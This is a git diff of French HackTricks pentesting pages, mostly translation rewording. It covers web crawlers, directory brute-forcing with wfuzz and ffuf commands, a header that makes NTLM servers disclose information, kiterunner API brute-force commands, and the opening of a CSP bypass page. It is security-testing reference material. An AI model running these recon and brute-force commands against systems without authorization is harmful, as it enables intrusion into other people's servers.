[**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawler (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques. -* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Araignée de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. -* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript. -* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une extension simple de **Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête pour créer une liste de mots personnalisée pour le fuzzing et l'énumération. +* [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un Crawler/Spider GUI de sécurité web multi-fonction avancé conçu pour les professionnels de la cybersécurité. +* [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes du code source JavaScript. +* [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **extension Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération. +* [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil impressionnant pour cela. ### Brute Force directories and files -Commencez le **brute-force** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\ +Commencez le **brute-forcing** à partir du dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez effectuer ce brute-forcing de manière **récursive** et ajouter au début de la liste de mots utilisée les noms des répertoires trouvés).\ Outils : * **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et ** lent **) mais fonctionnel. Autorise les certificats auto-signés et la recherche récursive. Trop lent par rapport aux autres options. * [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python) : Il n'autorise pas les certificats auto-signés mais permet la recherche récursive. * [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il autorise les certificats auto-signés, il **n'a pas** de recherche **récursive**. -* [**Feroxbuster**](https://github.com/epi052/feroxbuster) - Rapide, prend en charge la recherche récursive. +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, prend en charge la recherche récursive**. * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf**](https://github.com/ffuf/ffuf) - Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` * [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas une araignée mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées". @@ -277,7 +278,7 @@ Outils : _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration de site, il doit être soumis à une attaque par force brute._ -### Ce qu'il faut vérifier sur chaque fichier trouvé +### Ce qu'il faut vérifier pour chaque fichier trouvé * [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouvez les liens brisés à l'intérieur des fichiers HTML qui pourraient être sujets à des prises de contrôle. * **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** @@ -287,7 +288,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq * _Assetnote "parameters\_top\_1m" :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de "params.txt" :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Commentaires** : Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **identifiants** ou une **fonctionnalité cachée**. -* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires sur la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web. +* Si vous participez à un **CTF**, une "astuce" courante est de **cacher des informations** à l'intérieur des commentaires à **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et de **cacher des informations** dans un commentaire en bas de la page web. * **Clés API** : Si vous **trouvez une clé API**, il existe un guide indiquant comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) * Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la clé peut accéder. * **Buckets S3** : Lors de l'exploration, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/). @@ -302,7 +303,7 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaq * [Si vous trouvez un fichier _**.git**_, des informations peuvent être extraites](git.md) * Si vous trouvez un fichier _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées. * Si vous trouvez des **points de terminaison API**, vous [devriez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils ressembleront probablement à des fichiers. -* **Fichiers JS** : Dans la section d'exploration, plusieurs outils capables d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer l'introduction d'une vulnérabilité potentielle dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.** +* **Fichiers JS** : Dans la section d'exploration, plusieurs outils permettant d'extraire des chemins à partir de fichiers JS ont été mentionnés. Il serait également intéressant de **surveiller chaque fichier JS trouvé**, car dans certaines situations, un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pourriez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.** * Vous devriez également vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables. * **Déobfuscateur et désassembleur JavaScript** : [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Embelleur JavaScript** : [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) @@ -324,15 +325,15 @@ Si une page **répond** avec ce **code**, il s'agit probablement d'un **proxy ma **Authentification NTLM - Divulgation d'informations** Si le serveur en cours d'exécution demandant une authentification est **Windows** ou si vous trouvez une connexion demandant vos **identifiants** (et demandant un **nom de domaine**), vous pouvez provoquer une **divulgation d'informations**.\ -**Envoyez** l'en-tête : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison du fonctionnement de l'**authentification NTLM**, le serveur répondra avec des informations internes (version de IIS, version de Windows...) dans l'en-tête "WWW-Authenticate".\ -Vous pouvez **automatiser** cela en utilisant le plugin **nmap** "_http-ntlm-info.nse_". +**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison du fonctionnement de l'**authentification NTLM**, le serveur répondra avec des informations internes (version de IIS, version de Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\ +Vous pouvez **automatiser** cela en utilisant le **plugin nmap** "_http-ntlm-info.nse_". **Redirection HTTP (CTF)** Il est possible de **placer du contenu** à l'intérieur d'une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur. ### Vérification des vulnérabilités Web -Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici : +Maintenant qu'une énumération complète de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici : {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) @@ -426,13 +427,13 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md index 7a1f52abc..b6c3c3821 100644 --- a/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -38,18 +38,18 @@ Le test d'intrusion des API implique une approche structurée pour découvrir le ### **Astuces efficaces pour le test d'intrusion des API** * **Vulnérabilités SOAP/XML** : Explorez les vulnérabilités XXE, bien que les déclarations DTD soient souvent restreintes. Les balises CDATA peuvent permettre l'insertion de charges utiles si le XML reste valide. -* **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilège pour identifier les possibilités d'accès non autorisé. -* **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour une exploitabilité potentielle à travers des attaques CSRF à partir de sessions authentifiées. +* **Élévation de privilèges** : Testez les points de terminaison avec différents niveaux de privilèges pour identifier les possibilités d'accès non autorisé. +* **Mauvaises configurations CORS** : Enquêtez sur les paramètres CORS pour l'exploitabilité potentielle à travers des attaques CSRF à partir de sessions authentifiées. * **Découverte de points de terminaison** : Exploitez les modèles d'API pour découvrir des points de terminaison cachés. Des outils comme les fuzzers peuvent automatiser ce processus. * **Altération de paramètres** : Expérimentez en ajoutant ou remplaçant des paramètres dans les requêtes pour accéder à des données ou fonctionnalités non autorisées. * **Test des méthodes HTTP** : Variez les méthodes de requête (GET, POST, PUT, DELETE, PATCH) pour découvrir des comportements inattendus ou des divulgations d'informations. * **Manipulation du type de contenu** : Passez entre différents types de contenu (x-www-form-urlencoded, application/xml, application/json) pour tester les problèmes d'analyse ou les vulnérabilités. -* **Techniques de paramétrage avancées** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour les injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges. -* **Test de version** : Les anciennes versions d'API peuvent être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API. +* **Techniques de paramètres avancées** : Testez avec des types de données inattendus dans les charges utiles JSON ou jouez avec les données XML pour les injections XXE. Essayez également la pollution de paramètres et les caractères génériques pour des tests plus larges. +* **Test de version** : Les anciennes versions d'API pourraient être plus susceptibles aux attaques. Vérifiez toujours et testez contre plusieurs versions d'API. ### **Outils et ressources pour le test d'intrusion des API** -* **kiterunner** : Excellent pour découvrir les points de terminaison des API. Utilisez-le pour scanner et effectuer des attaques par force brute sur les chemins et paramètres des API cibles. +* [**kiterunner**](https://github.com/assetnote/kiterunner) : Excellent pour découvrir les points de terminaison des API. Utilisez-le pour scanner et effectuer des attaques par force brute sur les chemins et paramètres des API cibles. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 @@ -57,13 +57,14 @@ kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` * Des outils supplémentaires comme **automatic-api-attack-tool**, **Astra**, et **restler-fuzzer** offrent des fonctionnalités sur mesure pour les tests de sécurité des API, allant de la simulation d'attaque au fuzzing et à la numérisation des vulnérabilités. +* [**Cherrybomb**](https://github.com/blst-security/cherrybomb) : C'est un outil de sécurité des API qui audite votre API en se basant sur un fichier OAS (l'outil est écrit en rust). ### **Ressources d'apprentissage et de pratique** * **OWASP API Security Top 10** : Lecture essentielle pour comprendre les vulnérabilités courantes des API ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -* **API Security Checklist** : Une liste de contrôle complète pour sécuriser les APIs ([lien GitHub](https://github.com/shieldfy/API-Security-Checklist)). -* **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -* **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +* **API Security Checklist** : Une liste de contrôle complète pour sécuriser les APIs ([Lien GitHub](https://github.com/shieldfy/API-Security-Checklist)). +* **Filtres Logger++** : Pour la chasse aux vulnérabilités des API, Logger++ offre des filtres utiles ([Lien GitHub](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +* **Liste des points de terminaison API** : Une liste organisée des points de terminaison API potentiels à des fins de test ([Gist GitHub](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). ## Références @@ -85,7 +86,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index 13587c959..aa9a0533a 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes ! **Perspectives de piratage**\ Engagez-vous avec du contenu qui explore le frisson et les défis du piratage @@ -66,19 +66,19 @@ object-src 'none'; ``` ### Directives -* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne, et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. +* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris des URL, des scripts en ligne et des scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT. * **default-src**: Définit une politique par défaut pour récupérer des ressources lorsque des directives de récupération spécifiques sont absentes. * **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés. * **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest. * **frame-src**: Restreint les URL pour les cadres. * **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments tels que ``, `